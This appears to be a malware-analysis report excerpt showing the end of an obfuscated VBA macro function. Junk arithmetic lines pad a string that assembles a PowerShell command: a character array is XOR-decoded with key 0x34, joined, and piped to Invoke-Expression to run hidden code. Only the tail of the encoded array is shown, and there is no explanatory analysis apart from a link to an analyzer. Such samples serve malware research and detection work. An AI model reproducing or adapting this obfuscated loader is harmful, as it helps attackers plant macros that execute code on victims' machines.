ScnZwd = YWiHE * CSng(64589 * Fix(50834)) * YOAjz + CSng(bzrvj + CLng(COAcH)) / (lLGENr * CSng(3409) - (99861 + Fix(XWArU) - (87025 + CLng(VzNUi - Log(rdvdR) - 44137 + Int(KWCAJ)))))
OGUAJi = Atn(BDcrDM + Sin(msDOn) - 23675 / 44691)
OKjSBvaJYC = "71," + "85 , 83 ," + " 81 , 15,73,73)" + " |FO" + "REAcH-obJeCT{[C" + "HAR]($" + "_ -Bxor '0x34')" + " }) +" + Chr(34) + " $( Sv  '" + "oFS' ' ') " + Chr(34) + "| " + "ieX"
KYrLDkLlud = pTdTdsjmV + SIiFUzOsv + Fsjjrw + OKjSBvaJYC
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.